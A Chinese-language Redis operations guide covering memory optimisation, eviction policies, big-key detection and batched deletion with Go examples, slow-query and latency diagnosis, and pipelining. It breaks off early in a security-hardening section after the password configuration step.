Redis 性能优化与运维实战
Redis 的性能在大多数场景下足以应付百亿级日请求,但真正上生产后,内存膨胀、慢查询阻塞、Bigkey 拖垮网络、主从同步延迟等问题仍频频出现。本文从内存优化、淘汰策略、Bigkey 治理、慢查询诊断、批处理加速、安全加固、监控、备份恢复到系统级调优,覆盖一线运维最需要掌握的 12 个维度。
1. 内存优化
Redis 是内存数据库,内存是决定成本和稳定性的第一资源。理解内存怎么花的、能省多少、怎么省,是性能优化的起点。
1.1 Redis 内存模型
内存构成
Redis 进程占用的内存分为三大块:
| 内存分类 | 说明 | 典型占比 |
|---|---|---|
| 数据内存 | 键值对存储,包含 key、value 及内部数据结构开销(dictEntry、redisObject、SDS 等) | > 90% |
| 进程内存 | Redis Server 自身进程开销,包括代码段、栈、事件循环等 | 几 MB |
| 缓冲区内存 | 客户端输入/输出缓冲区、AOF 缓冲区、主从复制缓冲区、复制积压缓冲区(replication backlog) | 视连接数和数据量而定 |
后面客户端输出缓冲区如果配置不当,可能成为内存"黑洞"——详见第 10 节。
数据内存的内部消耗
┌────────────┐
│ dictEntry │ 24 bytes (3个指针,bucket链表中一个节点)
├────────────┤
│ redisObject│ 16 bytes (type + encoding + refcount + lru + ptr)
├────────────┤
│ Key │ SDS (Simple Dynamic String) 存储
├────────────┤
│ Value │ SDS / ziplist / listpack / skiplist / intset ...
└────────────┘这意味着:存一个 set foo bar,实际开销远不止 6 个字节。
🔬 内存分配器
- jemalloc(Linux 默认编译选项):Facebook 优化的 malloc,内存碎片少,支持
MEMORY MALLOC-STATS和MEMORY PURGE。 - libc malloc:系统默认的
malloc,碎片控制不如 jemalloc,不支持 purge。 - 可用
INFO memory | grep mem_allocator查看当前使用的分配器。
内存碎片
mem_fragmentation_ratio = used_memory_rss / used_memoryused_memory:Redis 分配器(jemalloc)认为自己分配出去的总字节数。used_memory_rss:操作系统角度看到的该进程实际占用的物理内存。- 碎片率 > 1 说明有碎片(正常范围 1 ~ 1.5),操作系统看到的内存多于分配器认为已分配的。
- 碎片率 < 1 通常表示发生了 swap,部分数据被换出到磁盘,性能会急剧下降。
碎片的本质原因:
- 内存分配器本身的开销(jemalloc 按 size class 分配,存在内部碎片)。
- 频繁修改不同大小的 value(SET 大字符串替换小字符串,释放的旧空间不一定被复用)。
- 大量 key 过期(大量不连续的释放空洞)。
1.2 内存查看命令
INFO memory
INFO memory核心字段:
| 字段 | 含义 |
|---|---|
used_memory |
分配器分配的总内存(字节) |
used_memory_human |
同上,人类可读 |
used_memory_rss |
OS 角度的物理内存 |
used_memory_peak |
历史内存峰值 |
used_memory_dataset |
纯数据(used_memory - 缓冲区等) |
mem_fragmentation_ratio |
碎片率 = rss / used_memory |
mem_allocator |
分配器名称 |
maxmemory |
配置的最大内存上限 |
💡 mem_fragmentation_ratio > 1.5 应引起关注;> 2 需要着手处理(见 1.3 碎片整理)。
MEMORY STATS
MEMORY STATS比 INFO memory 更细粒度,输出包括各内部模块的内存明细(dataset.percentage、keys.count、keys.bytes-per-key 等),适合精确排查内存分布。
MEMORY USAGE
MEMORY USAGE user:1001 # 单个 key 的内存占用(包含内部开销)
MEMORY USAGE user:1001 SAMPLES 10 # 对于集合类型,采样10个元素计算均值注意:
MEMORY USAGE返回的是 key 占用分配器的总内存,比STRLEN/HLEN准确得多。
MEMORY DOCTOR
MEMORY DOCTOR自动分析内存状态并给出运维建议,会检查碎片率、各模块占比、是否配置了 maxmemory 等。
MEMORY PURGE
MEMORY PURGE主动清理 jemalloc 的脏页(dirty pages),将碎片空闲内存归还给 OS。要求 jemalloc >= 4.0。
MEMORY MALLOC-STATS
MEMORY MALLOC-STATS打印 jemalloc 内部各 size class 的分配统计,用于深入分析分配器层面的碎片来源。
1.3 内存优化策略
小对象存储优化:ziplist / listpack
Redis 对 Hash、List、ZSet 三种集合类型的「小数据量」场景使用紧凑编码,大幅减少内存。
| 类型 | 紧凑编码 | 配置参数 |
|---|---|---|
| Hash | ziplist → listpack (7.0+) | hash-max-listpack-entries 512hash-max-listpack-value 64 |
| ZSet | ziplist → listpack (7.0+) | zset-max-listpack-entries 128zset-max-listpack-value 64 |
| List | quicklist(内部是 linkedlist + ziplist) | list-max-listpack-size -2list-compress-depth 0 |
Redis 7.0 将 ziplist 全面替换为 listpack,解决 ziplist 的连锁更新问题,同时保持相近的紧凑性。
配置含义:
xxx-max-listpack-entries:当集合的元素数超过此值时,转为常规编码(hashtable/skiplist)。xxx-max-listpack-value:当集合中任一元素(value 或 field)长度超过此值时,转为常规编码。
💡 对于存储几百个短 field 的 Hash,保持 ziplist/listpack 编码比 hashtable 能节省 50%~80% 内存。
String 类型的编码策略
| 编码 | 条件 | 内存分配 |
|---|---|---|
| int | value 可解析为整数(INCR 之类命令操作后自动转换) |
直接在 redisObject 的 ptr 字段存值,不额外分配 |
| embstr | value <= 44 字节 | 一次 malloc 分配 redisObject + SDS,内存连续 |
| raw | value > 44 字节 | 两次 malloc,redisObject 和 SDS 各自分配,支持原地修改 |
💡 embstr 虽然只读(修改即转 raw),但减少了一次 malloc 和由此产生的碎片。44 字节这个阈值与 jemalloc 的 64 字节 bin 对齐有关(64 - redisObject 16 - SDS 头 3 - ‘\0’ = 44)。
整数共享池
Redis 启动时预创建 0 ~ 9999 的整数对象,所有用到这些整数的场景(SET count 100、LPUSH list 9999)全部引用同一个对象,节省内存。
// redis.h
#define REDIS_SHARED_INTEGERS 10000这仅限于 Redis Object 层面。如果整数存储为 String(如
SET key "123"),不会自动转换为 int 编码,也不一定命中共享池——需要通过INCR等操作触发 int 编码。
内存回收
两种触发方式:
- 被动过期(惰性删除):访问 key 时检查是否过期,已过期则删除。
- 主动过期:后台定期任务(
activeExpireCycle)每秒执行 10 次,每次随机抽取 20 个带 TTL 的 key,删除其中已过期的,如果删除比例 > 25% 则循环继续。
🚨 大量 key 同时过期时(俗称"缓存雪崩"场景),主动过期循环不退出,会阻塞主线程。解决方案:在 TTL 上添加随机偏移 EXPIRE key seconds + RAND()*3600。
碎片整理
Redis 4.0+ 支持主动碎片整理(Active Defrag),在 server 空闲时自动整理内存碎片。
# redis.conf
activedefrag yes # 开启主动碎片整理
active-defrag-ignore-bytes 100mb # 碎片达到 100MB 才开始整理
active-defrag-threshold-lower 10 # 碎片率 >= 110%(即 > 1.1)时开始
active-defrag-threshold-upper 100 # 碎片率超过 100%(即 > 2.0)时全力整理
active-defrag-cycle-min 1 # CPU 时间占比下限 1%
active-defrag-cycle-max 25 # CPU 时间占比上限 25%
active-defrag-max-scan-fields 1000 # 单次扫描的最大 field 数- 碎片整理靠扫描主字典 + 过期字典,搬移 key 以合并空闲空间。
- 耗时被 CPU 时间占比控制,不会对正常请求吞吐造成严重影响,但仍建议在低峰期开启观察。
1.4 💡 数据结构选型优化
案例一:存储用户信息
假设用户有 5 个属性:name, age, email, city, level。
| 方案 | 内存占用 | 复杂度 | 评价 |
|---|---|---|---|
| String JSON | 整个 JSON 字符串 + key ≤ 44B 时 embstr,否则 raw | 最简单 | 修改一个字段要整体序列化/反序列化,耦合高 |
| 多 String key | user:{id}:name, user:{id}:age … 5 个 key |
最低 | 每个 key 都有 dictEntry + redisObject 开销,空间利用率最低 |
| Hash (推荐) | HSET user:{id} name xxx age 25 ... |
低 | ziplist/listpack 编码时所有 field-value 紧凑排列,一个 key 的开销 |
💡 字段数不超过 hash-max-listpack-entries(默认 512)且每个 value 不超过 hash-max-listpack-value(默认 64 字节)时,Hash 是空间效率最优的方案。
案例二:大量 entry 的 Hash
问题:一个 Hash 包含了 100 万个 field,超过了 listpack 阈值,自动转为 hashtable,指针开销剧增。
解决方案:分段 Hash。
// 用户场景:存储用户的历史登录时间
// 原始方案
key := fmt.Sprintf("login_history:%d", userID)
field := dateStr
// 分段方案 (假设 userID = 123456)
segment := userID / 100 // 1234
subKey := userID % 100 // 56
key = fmt.Sprintf("login_history:%d", segment)
field = fmt.Sprintf("%d:%s", subKey, dateStr)通过人为分段,将单个大 Hash 拆成多个小 Hash,每个小 Hash 保持在 listpack 编码范围内。
案例三:存储 bool 标记
# 方案A:独立 String
SET user:1:active 1
SET user:2:active 0
# 1000万个用户:~30MB
# 方案B:Bitmap
SETBIT active_users 1 1
SETBIT active_users 2 0
# 1000万个用户:~1.2MB💡 对于二值标记(在线/离线、签到/未签到、已读/未读),Bitmap 可节省 95%+ 内存,同时支持 BITCOUNT、BITOP 等高效批量操作。
2. 内存淘汰策略
当 used_memory > maxmemory 时,Redis 根据配置的淘汰策略选出一些 key 删除以腾出空间。
2.1 8 种淘汰策略详解
| 策略 | 行为 | 淘汰范围 | 适用场景 |
|---|---|---|---|
noeviction |
不淘汰,写入返回 OOM command not allowed 错误 |
无 | 不允许数据丢失的系统(不推荐用于纯缓存) |
allkeys-lru |
在所有 key 中按近似 LRU 淘汰 | 全量 | 纯缓存场景首选 |
volatile-lru |
仅在有 TTL 的 key 中按近似 LRU 淘汰 | 带过期时间 | 缓存+持久数据混合 |
allkeys-lfu |
在所有 key 中按近似 LFU 淘汰 | 全量 | 访问模式有明确冷热差异 |
volatile-lfu |
仅在有 TTL 的 key 中按近似 LFU 淘汰 | 带过期时间 | 同上 + 混合场景 |
allkeys-random |
在所有 key 中随机淘汰 | 全量 | 访问模式均匀分布 |
volatile-random |
仅在有 TTL 的 key 中随机淘汰 | 带过期时间 | 同上 + 混合场景 |
volatile-ttl |
在带 TTL 的 key 中,淘汰剩余生存时间最短的 | 带过期时间 | 希望更早过期的数据优先被清理 |
2.2 🔬 LRU vs LFU 实现
近似 LRU
Redis 不维护全量的访问链表(开销太大),而是采用采样近似。
- 每个 redisObject 的前 24 位存储一个"时钟值"(
server.lruclock的快照)。 server.lruclock每 100ms 自增一次(精度为 100ms,不是真正的 1 秒时钟)。- 淘汰流程:
1. 随机采样 N 个 key(N = maxmemory-samples,默认 5)
2. 比较它们的 lru 时钟值(越小表示越久没被访问)
3. 删除 lru 时钟值最小的 key
4. 如果释放的内存仍不够,重复上述步骤maxmemory-samples:采样数越大,越接近真实 LRU,但 CPU 开销越大。推荐设为 10。
🔬 “近似"的代价:采样 5 个 key 时可能有 35% 的失误率(淘汰的并不是真实最久未使用的);采样 10 个时失误率降到 10% 以内。
LFU (Redis 4.0+)
LFU 将 redisObject 中的 24 位拆分成两部分:
┌──────────────────┬──────────────┐
│ 16-bit ldt │ 8-bit counter │ (共 24 位)
│ (last decrement │ (对数计数器) │
│ time) │ │
└──────────────────┴──────────────┘- ldt(Last Decrement Time):上次衰减的时间(分钟级精度)。
- counter:对数频率计数器,不是简单自增。
counter 的增长使用概率对数算法:
1 / (counter * lfu_log_factor + 1) 的概率增加 counterlfu-log-factor默认 10:counter 从 0 涨到 255(上限),大约需要 100 万次命中。- 设置越大,counter 增长越慢,越能区分"偶尔访问"和"频繁访问”。
衰减机制:每过 lfu-decay-time 分钟,counter 减 1。
lfu-decay-time默认 1(分钟),即每分钟衰减一次。- 这保证了:一个被短期热点的 key(比如突发热点新闻),热度消退后能在几分钟内衰减到正常水平。而 LRU 会把这个 key 误保留很长时间(它只是"最近访问过",但没有权重概念)。
| 对比维度 | LRU | LFU |
|---|---|---|
| 判断依据 | 最近访问时间 | 访问频率 |
| 适应性 | 无法区分"刚被访问1次"和"被访问了1000次" | 能区分 |
| 冷启动 | 新数据天然最"新" | 新数据 counter=5(不会太低) |
| 热点变化 | 旧热点自然淘汰快 | 旧热点通过衰减淘汰 |
| CPU 开销 | 采样比较耗时 | 采样比较耗时 + 概率计算 |
2.3 配置
# redis.conf
maxmemory 4gb # 最大内存上限(必须设置!)
maxmemory-policy allkeys-lru # 淘汰策略
maxmemory-samples 10 # LRU/LFU 采样数(默认5,建议10)
# 以下是 LFU 专属配置(使用 LFU 策略时生效)
lfu-log-factor 10 # 对数因子,越大增长越慢(默认10)
lfu-decay-time 1 # 衰减周期,单位分钟(默认1)🚨 务必设置 maxmemory:默认 maxmemory=0(64位系统无限制),内存用满后 OS 的 OOM Killer 可能直接 kill 掉 Redis 进程。
2.4 💡 淘汰策略选型
| 场景 | 推荐策略 | 原因 |
|---|---|---|
| 纯缓存,无持久数据 | allkeys-lru |
简单可靠,业界最常用 |
| 缓存 + 有部分永不过期的持久数据 | volatile-lru |
保护永久数据不被淘汰,只在有过期时间的 key 中选 |
| 业务有明显冷热差异(如电商商品) | allkeys-lfu |
能保留真正的热数据,避免 LRU 把低频但"刚碰过"的数据误保留 |
| 数据访问均匀,无规律 | allkeys-random |
比 LRU 省 CPU,效果差不多 |
| 希望更早过期的数据被淘汰 | volatile-ttl |
配合灵活的 TTL 策略使用 |
3. Bigkey 排查与治理
3.1 定义
| 类型 | Bigkey 标准 | 致命标准 |
|---|---|---|
| String | > 10 KB | > 10 MB |
| Hash / List / Set / ZSet | > 5000 个元素 | > 100 万个元素 |
这没有硬性标准,视业务 QPS 和机器配置而定。对延迟要求高的系统,String 超过 1 KB 或集合元素超过 1000 就可能影响 P99 延迟。
3.2 危害
| 危险 | 表现 |
|---|---|
| 网络阻塞 | 少量 Bigkey 的 GET/HGETALL 请求就能占满网卡带宽,影响所有请求 |
| 数据倾斜(集群) | 集群中某个 slot 的数据量远大于其他,该节点成为瓶颈 |
| Redis 阻塞 | DEL、HGETALL、SMEMBERS、LRANGE 0 -1 等操作耗时与元素数成正比,阻塞主线程 |
| CPU 压力 | 反序列化大 value 需要更多 CPU 周期 |
| 内存碎片 | 大 value 频繁创建和释放,产生大量碎片 |
| 主从同步慢 | RDB 文件更大,同步耗时更久 |
3.3 发现方法
方法一:redis-cli --bigkeys
redis-cli -h 127.0.0.1 -p 6379 -a password --bigkeys扫描整个 keyspace,打印每种类型中最大的 key 及其大小。
输出示例:
[00.00%] Biggest string found so far 'user:session:12345' with 5242880 bytes
[99.99%] Biggest hash found so far 'orders:202601' with 1000000 fields
-------- summary -------
Sampled 50000000 keys in the keyspace!
Total key length in bytes is 750000000 (avg len 15.00)
Biggest string found 'user:session:12345' has 5242880 bytes
Biggest hash found 'orders:202601' has 1000000 fields
Biggest list found 'events:queue' has 200000 items
Biggest set found 'users:online' has 500000 members
Biggest zset found 'leaderboard:daily' has 300000 members⚠️ 局限:
- 只返回每种类型中最大的 1 个,无法找到所有 Bigkey。
- 使用
SCAN遍历,不影响线上服务,但大实例可能扫描很久。 - 不统计 key 的内部开销(METADATA 等),只看数据集大小。
方法二:编程扫描(自定义脚本)
package main
import (
"context"
"fmt"
"log"
"sort"
"github.com/redis/go-redis/v9"
)
const (
bigKeyThreshold = 10 * 1024 // 10KB for string
bigEleThreshold = 5000 // 5000 elements for collections
)
type BigKey struct {
Key string
Type string
Length int
Size int64
}
func main() {
ctx := context.Background()
rdb := redis.NewClient(&redis.Options{
Addr: "127.0.0.1:6379",
Password: "password",
})
var cursor uint64
var bigkeys []BigKey
for {
keys, nextCursor, err := rdb.Scan(ctx, cursor, "*", 1000).Result()
if err != nil {
log.Fatal(err)
}
for _, key := range keys {
keyType, err := rdb.Type(ctx, key).Result()
if err != nil {
log.Printf("type err for %s: %v", key, err)
continue
}
switch keyType {
case "string":
size, err := rdb.MemoryUsage(ctx, key, 0).Result()
if err != nil {
continue
}
if size > bigKeyThreshold {
bigkeys = append(bigkeys, BigKey{Key: key, Type: "string", Size: size})
}
case "hash":
length, err := rdb.HLen(ctx, key).Result()
if err != nil {
continue
}
if length > bigEleThreshold {
size, _ := rdb.MemoryUsage(ctx, key, 10).Result()
bigkeys = append(bigkeys, BigKey{Key: key, Type: "hash", Length: int(length), Size: size})
}
case "list":
length, err := rdb.LLen(ctx, key).Result()
if err != nil {
continue
}
if length > bigEleThreshold {
bigkeys = append(bigkeys, BigKey{Key: key, Type: "list", Length: int(length)})
}
case "set":
length, err := rdb.SCard(ctx, key).Result()
if err != nil {
continue
}
if length > bigEleThreshold {
bigkeys = append(bigkeys, BigKey{Key: key, Type: "set", Length: int(length)})
}
case "zset":
length, err := rdb.ZCard(ctx, key).Result()
if err != nil {
continue
}
if length > bigEleThreshold {
bigkeys = append(bigkeys, BigKey{Key: key, Type: "zset", Length: int(length)})
}
}
}
cursor = nextCursor
if cursor == 0 {
break
}
}
// 按 Size 降序排列
sort.Slice(bigkeys, func(i, j int) bool {
return bigkeys[i].Size > bigkeys[j].Size
})
for _, bk := range bigkeys {
fmt.Printf("%s | %s | len=%d | size=%d\n", bk.Key, bk.Type, bk.Length, bk.Size)
}
}方法三:离线分析 RDB 文件
# 安装 redis-rdb-tools
pip install rdbtools python-lzf
# 分析并生成 CSV 报告
rdb -c memory /data/redis/dump.rdb > memory_report.csv
# 排序查看内存占用最大的 key
sort -t',' -k4 -nr memory_report.csv | head -20优点:离线分析,不消耗线上资源,输出精确到每个 key 的内存开销。
缺点:RDB 生成时间和分析时间较长(大实例可能数小时)。
方法四:网络流量监控
通过抓包或网卡统计监控客户端流量,定位流量异常的 key 访问。
方法五:云厂商监控
阿里云 DAS(Database Autonomy Service)、腾讯云 DBbrain 等提供一键 Bigkey 分析。
3.4 删除方法
🚨 直接 DEL 的风险
# 危险!删除一个包含 100 万元素的 Hash
DEL orders:202601 # 阻塞主线程几百毫秒到数秒Redis 单线程执行命令,DEL 释放大量内存时(尤其是复杂数据结构的递归释放),会长时间阻塞其他请求。
Redis 4.0+:UNLINK 异步删除
# 安全!UNLINK 将 key 标记为待删除,后台线程异步回收内存
UNLINK orders:202601UNLINK 会立即把 key 从 keyspace 中移除(其他线程再也看不见),然后由后台线程(lazyfree)逐步回收内存。
相关配置:
# 甚至可以让 DEL 像 UNLINK 一样异步执行
lazyfree-lazy-eviction yes
lazyfree-lazy-expire yes
lazyfree-lazy-server-del yes
replica-lazy-flush yes低版本:渐进式删除集合类型
如果 Redis 低于 4.0 且无法升级,需要分批删除集合中的子元素。
Hash:
// 使用 HSCAN + HDEL 分批删除,每次删除 100 个 field
key := "orders:202601"
var cursor uint64
for {
fields, nextCursor, _ := rdb.HScan(ctx, key, cursor, "*", 100).Result()
if len(fields) > 0 {
fkeys := make([]string, 0, len(fields)/2)
for i := 0; i < len(fields); i += 2 {
fkeys = append(fkeys, fields[i])
}
rdb.HDel(ctx, key, fkeys...)
}
cursor = nextCursor
if cursor == 0 {
break
}
}
rdb.Del(ctx, key) // 最后删除空 HashSet:
// 使用 SSCAN + SREM
var cursor uint64
for {
members, nextCursor, _ := rdb.SScan(ctx, key, cursor, "*", 100).Result()
if len(members) > 0 {
rdb.SRem(ctx, key, members)
}
cursor = nextCursor
if cursor == 0 {
break
}
}
rdb.Del(ctx, key)ZSet:
// 使用 ZSCAN + ZREM
var cursor uint64
for {
items, nextCursor, _ := rdb.ZScan(ctx, key, cursor, "*", 100).Result()
if len(items) > 0 {
members := make([]string, 0, len(items)/2)
for i := 0; i < len(items); i += 2 {
members = append(members, items[i])
}
rdb.ZRem(ctx, key, members)
}
cursor = nextCursor
if cursor == 0 {
break
}
}
rdb.Del(ctx, key)List:
// 使用 LTRIM 分批删除,每次保留最后 100 个(即删掉前 100 个)
for {
length, _ := rdb.LLen(ctx, key).Result()
if length == 0 {
break
}
rdb.LTrim(ctx, key, 0, -101)
}
rdb.Del(ctx, key)完整渐进式删除脚本
package main
import (
"context"
"fmt"
"log"
"time"
"github.com/redis/go-redis/v9"
)
// safeDeleteBigKey 安全删除 Bigkey,分批 + 休眠,避免影响线上
func safeDeleteBigKey(ctx context.Context, rdb *redis.Client, key string, batchSize int64, sleepMs int) error {
exists, err := rdb.Exists(ctx, key).Result()
if err != nil {
return fmt.Errorf("exists err: %w", err)
}
if exists == 0 {
return nil
}
keyType, err := rdb.Type(ctx, key).Result()
if err != nil {
return fmt.Errorf("type err: %w", err)
}
if keyType == "string" {
return rdb.Del(ctx, key).Err()
}
// 集合类型:渐进式删除
var cursor uint64
for {
switch keyType {
case "hash":
fields, nextCursor, err := rdb.HScan(ctx, key, cursor, "*", batchSize).Result()
if err != nil {
return fmt.Errorf("hscan err: %w", err)
}
if len(fields) > 0 {
// fields 是 [field1, val1, field2, val2, ...],提取 field 部分
fkeys := make([]string, 0, len(fields)/2)
for i := 0; i < len(fields); i += 2 {
fkeys = append(fkeys, fields[i])
}
if err := rdb.HDel(ctx, key, fkeys...).Err(); err != nil {
return fmt.Errorf("hdel err: %w", err)
}
}
cursor = nextCursor
case "set":
data, nextCursor, err := rdb.SScan(ctx, key, cursor, "*", batchSize).Result()
if err != nil {
return fmt.Errorf("sscan err: %w", err)
}
if len(data) > 0 {
if err := rdb.SRem(ctx, key, data).Err(); err != nil {
return fmt.Errorf("srem err: %w", err)
}
}
cursor = nextCursor
case "zset":
data, nextCursor, err := rdb.ZScan(ctx, key, cursor, "*", batchSize).Result()
if err != nil {
return fmt.Errorf("zscan err: %w", err)
}
if len(data) > 0 {
// data 是 [member1, score1, member2, score2, ...]
members := make([]string, 0, len(data)/2)
for i := 0; i < len(data); i += 2 {
members = append(members, data[i])
}
if err := rdb.ZRem(ctx, key, members).Err(); err != nil {
return fmt.Errorf("zrem err: %w", err)
}
}
cursor = nextCursor
case "list":
length, err := rdb.LLen(ctx, key).Result()
if err != nil {
return fmt.Errorf("llen err: %w", err)
}
trimLen := length - batchSize
if trimLen < 0 {
trimLen = 0
}
if err := rdb.LTrim(ctx, key, 0, trimLen).Err(); err != nil {
return fmt.Errorf("ltrim err: %w", err)
}
if trimLen == 0 {
if err := rdb.Del(ctx, key).Err(); err != nil {
return fmt.Errorf("del list err: %w", err)
}
return nil
}
// List 没有 SCAN,需要循环 LTRIM
if sleepMs > 0 {
time.Sleep(time.Duration(sleepMs) * time.Millisecond)
}
continue
}
if cursor == 0 {
if err := rdb.Del(ctx, key).Err(); err != nil {
return fmt.Errorf("del err: %w", err)
}
break
}
if sleepMs > 0 {
time.Sleep(time.Duration(sleepMs) * time.Millisecond)
}
}
return nil
}
func main() {
ctx := context.Background()
rdb := redis.NewClient(&redis.Options{
Addr: "127.0.0.1:6379",
Password: "password",
})
if err := safeDeleteBigKey(ctx, rdb, "big_hash_key", 500, 5); err != nil {
log.Fatal(err)
}
fmt.Println("deleted successfully")
}
### 3.5 预防措施
1. **业务层限制**:应用代码在写入前校验 value 大小和集合元素数。
2. **定期清理**:为集合中的过期元素设置 `EXPIRE` 或使用 TTL 管理。
3. **合理设计**:参考 1.4 节的数据结构优化案例。
4. **提前告警**:通过 3.3 中的方法定期扫描,发现潜在 Bigkey 提前治理。
---
## 4. 慢查询
### 4.1 慢查询日志配置
```bash
# redis.conf
slowlog-log-slower-than 10000 # 阈值(微秒),默认 10000(10ms)
slowlog-max-len 128 # 日志最大条数(FIFO 队列)💡 生产环境建议:
slowlog-log-slower-than 1000 # 1ms —— 对 Redis 来说,超过 1ms 就算慢了
slowlog-max-len 1000 # 128 太小,建议扩大到 1000~设置为 0 记录所有命令(调试用,不用于生产);设置为负数禁用慢查询日志。
4.2 慢查询命令
# 查看最近 10 条
SLOWLOG GET 10
# 查看最近 5 条
SLOWLOG GET 5
# 当前慢查询记录数
SLOWLOG LEN
# 清空慢查询日志
SLOWLOG RESET4.3 慢查询日志解读
127.0.0.1:6379> SLOWLOG GET 1
1) 1) (integer) 1234567 # 1. 唯一递增 ID
2) (integer) 1700000000 # 2. Unix 时间戳
3) (integer) 15789 # 3. 执行耗时(微秒),本例约 15.8ms
4) 1) "KEYS" # 4. 命令和参数
2) "user:*"
5) "10.0.1.100:45678" # 5. 客户端 IP:Port
6) "my-app-server-01" # 6. 客户端名称(CLIENT SETNAME 设置)4.4 常见慢查询原因
| 原因 | 示例 | 严重度 | 解决方案 |
|---|---|---|---|
KEYS pattern |
KEYS user:* |
🔴严重 | 改用 SCAN |
| 大 key 全量操作 | HGETALL / SMEMBERS / LRANGE 0 -1 |
🔴严重 | 改用 HSCAN / SSCAN / LRANGE 0 99 |
| O(N) 命令大数据量 | SUNION / ZUNIONSTORE 对多个大集合 |
🔴严重 | 在客户端做合并 |
| 大量 key 同时过期 | 秒杀活动,同一秒过期 | 🟡中等 | TTL 加随机偏移 |
BGSAVE / BGREWRITEAOF fork |
内存大时 fork() 耗时 |
🟡中等 | 控制单实例 < 10GB |
| AOF fsync | appendfsync always |
🟡中等 | 改为 everysec |
| 网络延迟(看起来像慢查询) | 跨机房调用 | 🟢轻微 | 就近部署 |
🔬
KEYS慢的原因:KEYS遍历整个dict全局哈希表并匹配 glob 模式,O(N) 复杂度且不进行渐进式处理,单次请求中完成所有匹配后才返回。SCAN将遍历分到多轮,每次只搬运游标,不阻塞其他请求。
4.5 LATENCY 诊断
Redis 2.8.13+ 引入了 LATENCY 子系统,记录服务器层面的延迟事件(fork、AOF、过期等)。
# 查看最新延迟事件
LATENCY LATEST
# 输出示例:
# 1) 1) "fork"
# 2) (integer) 1700000000
# 3) (integer) 35000 # 35ms fork 延迟(内存大)
# 2) 1) "aof-fsync-always"
# 2) (integer) 1700000100
# 3) (integer) 8000
# 查看某个事件的历史延迟
LATENCY HISTORY fork
# 获取自动诊断建议
LATENCY DOCTOR
# 输出示例:
# Dave, I have observed latency spikes in this Redis instance.
# 1- The fork system call is taking a significant amount of time...
# I can suggest: avoid using large instances (more than a few GB)...
# 重置延迟记录
LATENCY RESET [event]LATENCY 能监控的延迟源:
| 事件名 | 含义 |
|---|---|
fork |
fork() 系统调用耗时(BGSAVE / BGREWRITEAOF) |
aof-stat |
AOF 追加写磁盘耗时 |
aof-rewrite-diff-write |
AOF rewrite 期间写差异数据到磁盘的耗时 |
aof-rename |
重命名 AOF 文件的耗时 |
aof-write |
write(2) 系统调用耗时 |
aof-write-active-child |
有子进程(rewrite)时 write 的耗时 |
aof-write-alone |
无子进程时 write 的耗时 |
aof-write-pending-fsync |
write 后等待 fsync 完成的耗时 |
command-unblocking |
非阻塞命令的实际耗时 |
fast-command |
O(1) 或 O(log N) 命令监控 |
slow-command |
O(N) 命令监控 |
expire-cycle |
主动过期循环耗时 |
5. 批处理优化
5.1 Pipeline
原理:将多条命令打包发送,一次性读取全部结果,减少客户端与 Redis 之间的 RTT(Round Trip Time)。
无 Pipeline: CMD1 → ← RESP1 CMD2 → ← RESP2 CMD3 → ← RESP3
RTT RTT RTT
有 Pipeline: CMD1、CMD2、CMD3 → ← RESP1、RESP2、RESP3
1 次 RTT使用示例:
package main
import (
"context"
"fmt"
"github.com/redis/go-redis/v9"
)
func main() {
ctx := context.Background()
rdb := redis.NewClient(&redis.Options{
Addr: "127.0.0.1:6379",
})
// 方式一:手动创建 Pipeline
pipe := rdb.Pipeline()
for i := 0; i < 10000; i++ {
pipe.Set(ctx, fmt.Sprintf("key:%d", i), fmt.Sprintf("value:%d", i), 0)
}
cmds, err := pipe.Exec(ctx)
if err != nil {
panic(err)
}
fmt.Printf("Executed %d commands\n", len(cmds))
// 方式二:使用 Pipelined 自动管理
_, err = rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {
for i := 0; i < 10000; i++ {
pipe.Set(ctx, fmt.Sprintf("key:%d", i), fmt.Sprintf("value:%d", i), 0)
}
return nil
})
if err != nil {
panic(err)
}
}⚠️ 注意事项:
- Pipeline 不是原子操作——中间可能被其他客户端的命令交错执行。
- Pipeline 中不要塞太多命令(内存 + 网络缓冲问题),建议每批 100~500 条。
- 集群模式中,Pipeline 只能对同一节点的命令生效。跨节点的 Pipeline 需要客户端分组。
5.2 集群下的批处理
| 方案 | 实现方式 | 耗时 | 优点 | 缺点 |
|---|---|---|---|---|
| 串行命令 | for 循环逐个发送 | N 次网络 + N 次命令 | 代码简单 | 最慢,RTT 膨胀 |
| 串行 slot | 按 slot 分组后,逐个 slot 发 Pipeline | M 次网络 + N 次命令 | RTT 显著减少 | 代码稍复杂 |
| 并行 slot | 按 slot 分组后,多线程并发发 Pipeline | 1 次网络 + N 次命令 | 最快 | 需要多线程/协程管理 |
| hash_tag | {userid} 确保同 key 在同一个 slot |
1 次网络 + N 次命令 | Pipeline 编写最简单 | 数据可能倾斜,热点问题 |
hash_tag 示例:
# 没有 hash_tag:key 由 CRC16 散列到不同 slot
SET user:1:name "Alice" # slot 可能 = 5000
SET user:1:age "25" # slot 可能 = 11000
# 有 hash_tag:只对 {} 中的内容做散列
SET user:{1}:name "Alice" # slot = CRC16("1") fixed
SET user:{1}:age "25" # slot = CRC16("1") fixed🚨 hash_tag 的风险:如果大量业务 key 使用相同的 tag(如 {user:1001}...、{user:1001}...),这些 key 全部落在同一个 slot,该 slot 所在节点可能成为热点甚至 OOM。
5.3 💡 批量导入建议
| 数据量 | 推荐方案 | 说明 |
|---|---|---|
| < 1 万条 | MSET / MGET |
原生命令,原子且高效 |
| 1 万 ~ 100 万条 | Pipeline(100~500 条/批) | 分批防止单次 Pipeline 过大 |
| > 100 万条 | redis-cli --pipe 或 AOF 恢复 |
最快速的大批量导入 |
redis-cli –pipe 示例:
# 生成 Redis 协议格式的数据文件
cat data.txt | redis-cli -h 127.0.0.1 -p 6379 -a password --pipedata.txt 格式(Redis Protocol):
*3\r\n$3\r\nSET\r\n$4\r\nkey1\r\n$6\r\nvalue1\r\n
*3\r\n$3\r\nSET\r\n$4\r\nkey2\r\n$6\r\nvalue2\r\n也可以用 Python 生成 RESP 格式数据,管道导入。
6. 安全加固
6.1 安全隐患
| 风险 | 后果 |
|---|---|
bind 0.0.0.0 且无密码 |
公网扫描发现后可被任意写入/删除数据 |
CONFIG SET dir + CONFIG SET dbfilename 可写 |
写入任意文件(crontab、SSH key) |
| root 用户运行 | 被攻击后可写系统文件并提权 |
| 默认端口 6379 | 容易被扫描器发现 |
| KEYS / FLUSHALL 未禁用 | 运维误操作或攻击者执行危险的 O(N) 命令 |
6.2 加固措施
1. 密码认证
# redis.conf
requirepass your_strong_password_here客户端连接:
redis-cli -a your_strong_password_here
# 或连接后 AUTH
